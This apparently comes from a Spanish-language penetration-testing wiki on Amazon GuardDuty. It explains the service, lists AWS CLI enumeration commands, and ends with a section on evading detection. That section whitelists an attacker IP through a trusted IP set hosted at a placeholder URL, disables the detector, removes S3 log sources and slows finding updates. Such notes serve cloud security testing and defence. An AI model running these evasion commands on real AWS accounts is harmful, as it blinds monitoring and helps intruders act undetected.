GuardDuty

¿Qué es?

Amazon GuardDuty es un servicio de detección inteligente de amenazas basado en la región, el primero de su clase ofrecido por AWS, que permite a los usuarios monitorizar su cuenta de AWS en busca de comportamientos inusuales e inesperados mediante el análisis de registros de flujo de VPC, registros de eventos de gestión de AWS CloudTrail, registros de eventos de datos de Cloudtrail S3 y registros de DNS. Utiliza fuentes de inteligencia de amenazas, como listas de direcciones IP y dominios maliciosos, y aprendizaje automático para identificar actividades inesperadas y potencialmente no autorizadas y maliciosas dentro de su entorno de AWS. Esto puede incluir problemas como escalada de privilegios, uso de credenciales expuestas o comunicación con direcciones IP o dominios maliciosos.

Por ejemplo, GuardDuty puede detectar instancias EC2 comprometidas que sirven malware o minan bitcoin. También monitorea el comportamiento de acceso a la cuenta de AWS en busca de signos de compromiso, como despliegues de infraestructura no autorizados, como instancias desplegadas en una región que nunca ha sido utilizada, o llamadas inusuales a la API, como un cambio de política de contraseñas para reducir la fuerza de la contraseña.

Enumeración

aws guardduty list-organization-admin-accounts
aws guardduty list-invitations
aws guardduty get-invitations-count
aws guardduty list-detectors
aws guardduty describe-organization-configuration --detector-id <id>
aws guardduty get-detector --detector-id <id>
aws guardduty list-filters --detector-id <id>
aws guardduty get-filter --detector-id <id> --filter-name
aws guardduty list-findings --detector-id <id>
aws guardduty get-findings --detector-id <id> --finding-ids <id>
aws guardduty get-findings-statistics --detector-id <id> --finding-statistic-types <types>
aws guardduty list-ip-sets --detector-id <id>
aws guardduty list-members --detector-id <id>
aws guardduty list-publishing-destinations --detector-id <id>
aws guardduty list-threat-intel-sets --detector-id <id>
aws guardduty list-ip-sets
aws guardduty get-ip-set --detector-id <id>
aws guardduty get-master-account --detector-id <id>
aws guardduty get-members --detector-id <id> --account-ids <id>
aws guardduty get-member-detectors --detector-id <id> --account-ids <id>
aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>

Evasión

Para evitar la detección por GuardDuty, se puede ejecutar el siguiente comando agregando la IP del atacante a una lista blanca (Requiere de los permisos de guardduty:CreateIPSet - guardduty:UpdateIPSet):

aws guardduty create-ip-set --detector-id 12abc34d567e8fa901bc2d34eexample --name new-ip-set --format TXT --location http://www.example.com/customtrustlist.csv --activate

Si no se tiene los permisos para crear un ser de IP, se puede intentar contra un set de IP existente y actualizarlo añadiendo la IP pública del auditor:

aws guardduty update-ip-set --activate --detector-id 12abc34d567e8fa901bc2d34eexample --ip-set-id 12345 -- location http://www.example.com

Si se cuentan con los permisos de guardduty:ListDetectors y guardduty:UpdateDetector, se puede ocupar los siguientes comandos:

# Disabling the detector
aws guardduty update-detector \
    --detector-id <detector-id> \
    --no-enable 

# Removing s3 as a log source
aws guardduty update-detector \
    --detector-id <detector-id> \
    --data-sources S3Logs={Enable=false}

# Increase finding update time to 6 hours
aws guardduty update-detector \
    --detector-id <detector-id> \
    --finding-publishing-frequency SIX_HOURS

Última actualización